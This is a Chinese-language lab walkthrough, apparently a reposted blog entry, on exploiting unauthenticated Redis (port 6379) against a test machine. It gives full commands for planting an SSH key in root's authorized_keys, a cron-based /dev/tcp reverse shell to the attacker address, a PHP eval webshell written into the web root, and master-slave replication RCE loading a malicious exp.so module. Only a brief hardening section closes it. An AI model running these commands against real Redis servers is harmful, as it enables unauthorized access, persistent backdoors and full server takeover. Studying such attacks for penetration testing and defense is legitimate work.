Redis未授权访问漏洞记录(端口:6379)
目錄
Redis
掃描
未授權登錄以及利用
寫入SSH公鑰,進行遠程登錄
定時任務反彈shell
寫入一句話木馬?
其它一句話木馬
?
寫入/etc/passwd文件
利用主從復制RCE
?
本地Redis主從復制RCE反彈shell
防御方法
Redis
Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。Redis默認使用?6379?端口。
未授權訪問漏洞
那么Redis的未授權訪問漏洞是如何產生的呢?由于Redis默認使用6379號端口,并且Redis默認是空密碼而且默認允許遠程連接。一些粗心的網絡管理員在安裝好Redis后,并沒有去修改他的默認端口,而且也沒有給他設置密碼的話。這就讓黑客有了可乘之機,黑客可以遠程連接到該數據庫。并且,如果Redis是以root身份運行的話,那么黑客就可以通過Redis數據庫進行寫入任何文件進行提權,從而操控該服務器。
這里我們拿一個靶機做實驗,該靶機存在Redis未授權訪問漏洞,于是,我們在windows端遠程連接該靶機。
攻擊機:192.168.10.27
靶機:192.168.10.32
掃描
我們直接用nmap進行掃描是發現不了6379漏洞的,因為nmap默認只會掃描前1000個端口。因為這里我們已經知道靶機開放了6379端口,所以就直接指定端口進行掃描。
未授權登錄以及利用
Nmap掃描后發現主機的6379端口對外網開放,就可以用本地Redis遠程客戶端連接服務器了,連接后可以獲取Redis敏感數據,也可以寫入數據。我們可以用windows或者linux下的redis客戶端進行遠程登錄,這里我就用windows遠程登錄了,linux懶得安裝。
redis-cli.exe -h 192.168.10.32 #登錄redis數據庫的一些基本操作?
info #查看redis的信息和服務器信息 flushall 刪除所有數據 del key 刪除鍵為key的數據 get key 獲得參數key的數據redis數據庫的認證
auth?密碼寫入SSH公鑰,進行遠程登錄
關于SSH公私鑰驗證,我就不多講了,傳送門——>?ssh公私鑰驗證? ?,文章中是在Linux下生成公私鑰。
今天我要教的是在windows下利用XShell生成公私鑰,然后驗證登錄。
打開XShell—>工具—>新建用戶密鑰生成向導—>下一步—>下一步
我這里就用默認名稱,密碼為空密碼,然后下一步—>?是?
保存為文件,然后完成。然后公鑰就會被保存到指定的路徑下,我這里保存到了?redis 客戶端的目錄下,因為待會便于傳輸。我們打開?id_rsa_2048.pub ,在其開頭和結尾加入幾個回車換行,避免待會寫入redis數據庫中和Redis里其他緩存數據混合?。
注意:一定要在公鑰的開頭和結尾加入幾個換行,不然會出錯!!!
然后我們現在如何將這個公鑰傳送到靶機的 /root/.ssh/?目錄下,并且重命名為??authorized_keys 。
執行下面的操作
type id_rsa_2048.pub | redis-cli -h 192.168.10.32 -x set j #查看id_rsa_2048.pub的文件內容,并且鍵設置為 j redis-cli -h 192.168.10.32 #登陸到該redis數據庫 config set dir /root/.ssh #設置redis的工作路徑為/root/.ssh config set dbfilename authorized_keys #設置保存文件名authorized_keys save #保存#上面命令的意思就是,將我們id_rsa_2048.pub的文件內容寫入到authorized_keys文件中,并且存放到/root/.ssh 目錄下然后我們現在就可以用XShell以私鑰連接該主機了?
可以看到我們已經登陸上了。并且可以在 /root/.ssh/?目錄下看到我們上傳的 authorized_keys 文件,正是由于這個文件的存在,我們才可以在本地用私鑰登錄。
定時任務反彈shell
我們可以將 linux 反彈 shell 的命令寫入定時任務中,這樣,我們就可以接收到redis服務器反彈過來的shell了
我們客戶端先接收一個端口
nc -lvp 8888 #監聽8888端口然后執行下面的命令
redis-cli -h 192.168.10.32 #登陸到redis數據庫 set d "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" #意思是每隔一分鐘,向192.168.10.27的8888端口反彈shell config set dir /var/spool/cron #設置工作目錄 config set dbfilename test #設置文件名,當前用戶叫啥就得命名為啥,當前用戶為test save #保存成文件#上面這幾行命令的意思就是將 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/8888 0>&1\n\n" 這條命令寫入test文件中,并且存放在/var/spool/cron目錄下可以看到,我們這邊已經收到反彈回來的shell了?
寫入一句話木馬?
寫入一句話木馬需要我們知道網站的根目錄相對于服務器的絕對路徑。但是這個靶機網站的根目錄相對于服務器的絕對路徑很奇葩。不是普通的在? /var/www/html?下,而是在? /var/www/html/dedecms/uploads? 這個目錄下。
執行下列命令
redis-cli -h 192.168.10.32 set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" config set dir ?/var/www/html/dedecms/uploads config set dbfilename webshell.php save然后用菜刀連接
可以看到,已經連接成功了!
其它一句話木馬
config set dir /var/www/html/ //切換目錄到網站的根目錄set x "\n\n\n<?php phpinfo();?>\n\n\n" //寫入惡意代碼phpinfo()set xx "\n\n\n<?php @eval($_POST['1']);?>\n\n\n" //寫入一句話木馬config set dbfilename a001.php //磁盤中生成木馬文件a001.phpsave //進行保存?可以去靶機看一下
可以看到 被成功寫入了
檢查webshell
kali開啟apache2
vi /etc/apache2/ports.conf修改默認端口為8080
保存退出
啟動apache2服務
/etc/init.d/apache2 start進行訪問 可以看到是成功的?
寫入/etc/passwd文件
寫入 /etc/passwd?文件,這需要使用?root?權限才可以寫入。
Redis客戶端:?https://pan.baidu.com/s/1igxEuqTwq77afUQ-LQTV0w? 提取碼: d1hn?
利用主從復制RCE
之前寫入webshell 基本是利用crontab、ssh key、webshe‖這樣的文件都有一定容錯性,再加上 crontab和ssh服務可以說是服務器的標準的服務,所以在以前,這種通過寫入文件的 getshell方式基本就可以說是很通殺了
但隨著現代的服務部署方式的不斷發展,組件化成了不可逃避的大趨勢,docker就是這股風潮下的產物之一,而在這種部署模式下,一個單一的容器中不會有除 redis以外的任何服務存在,包括sh和 crontab,再加上權限的嚴格控制,只靠寫文件就很難再 getshell了,在這種情況下,我們就需要其他的利用手段了
漏洞存在于4.X、5.X版本中,簡單來講就是
攻擊者(主機)寫一個so文件,然后通過 FULLRESYNC(全局)同步文件到受害人(從機)上。
下載安裝4.0.8的版本
一樣的配置 改bind+改no
然后進行啟動
./src/redis-server redis.conf設置密碼
config set requirepass a002下載兩個腳本
https://github.com/n0b0dyCN/redis-rogue-server //未授權 https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //Redis有密碼目標靶機是不可以開啟安全模式的
遠程登錄
攻擊機上執行 進行遠程連接靶機
python3 redis_rogue_server.py -rhost 192.168.175.162 -lhost 192.168.175.161 -passwd a002他這里問你
i:直接拿到shell
還是r:反彈shell
上面就是拿shell
下面搞一搞 反彈shell
選r 攻擊機的IP +開啟監聽端口
python進去pty
python3 -c "import pty;pty.spawn('/bin/bash')"本地Redis主從復制RCE反彈shell
但是 如果目標機器僅僅允許本地進行登錄的時候
這個時候,我們可以通過配合其他漏洞,從目標本地登錄 redis。然后手動執行腳本內寫死的一些命令
將靶機 Redis作為從機,將攻擊機器設置為主機
然后攻擊機器會自動將一些惡意so文件同步給目標機器(從機),從而來實現對目標機器的遠程命令執行。
還是用這兩個腳本
https://github.com/n0b0dyCN/redis-rogue-server //未授權 https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server //Redis有密碼但是要說一下
將 redis-rogue-server的exp.so文件復制到 Awsome文件夾中使用,因為exp.so帶 system模塊
開啟監聽
攻擊機開啟主服務器
python3 redis_rogue_server.py -v -path exp.so然后去靶機上
查看模塊 可以看到是沒有的可用的模塊
module list config set dir /tmp //一般tmp目錄都有寫權限,所以選擇這個目錄寫入 config set dbfilename exp.so //設置導出文件的名字 這里就是創建一個空文件 slaveof 192.168.175.161 15000 //進行主從同步,將惡意so文件寫入到tmp文件 //端口可以自定義?然后就可以看到攻擊機這邊開始了同步
?
關閉主從同步
slaveof NO ONE module load ./exp.so //加載寫入的so文件模塊 module list //?查看惡意的so文件有沒有寫入成功執行反彈shell
system.rev 192.168.175.161 9999就是沒有回顯
然后去攻擊機那邊進行查看?
可以看到已經拿到了
python進入pty
python3 -c "import pty;pty.spawn('/bin/bash')"還可以用另外一種方式
直接執行命令
system.exec "id"防御方法
到redis安裝目錄下,配置redis.conf文件:
1、默認只對本地開放
bind 127.0.0.1
2、添加登陸密碼
>>修改 redis.conf 文件,添加
requirepass? mypasswd
3、在需要對外開放的時候修改默認端口(端口不重復就可以)
port 2344
4、以低權限運行 Redis 服務(重啟redis才能生效)
>>為 Redis 服務創建單獨的用戶和家目錄,并且配置禁止登陸
5、最后還可以配合iptables限制開放
總結
以上是生活随笔為你收集整理的Redis未授权访问漏洞记录(端口:6379)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: USACO-Section2.3 Con
- 下一篇: MySQL的常见存储引擎介绍与参数设置调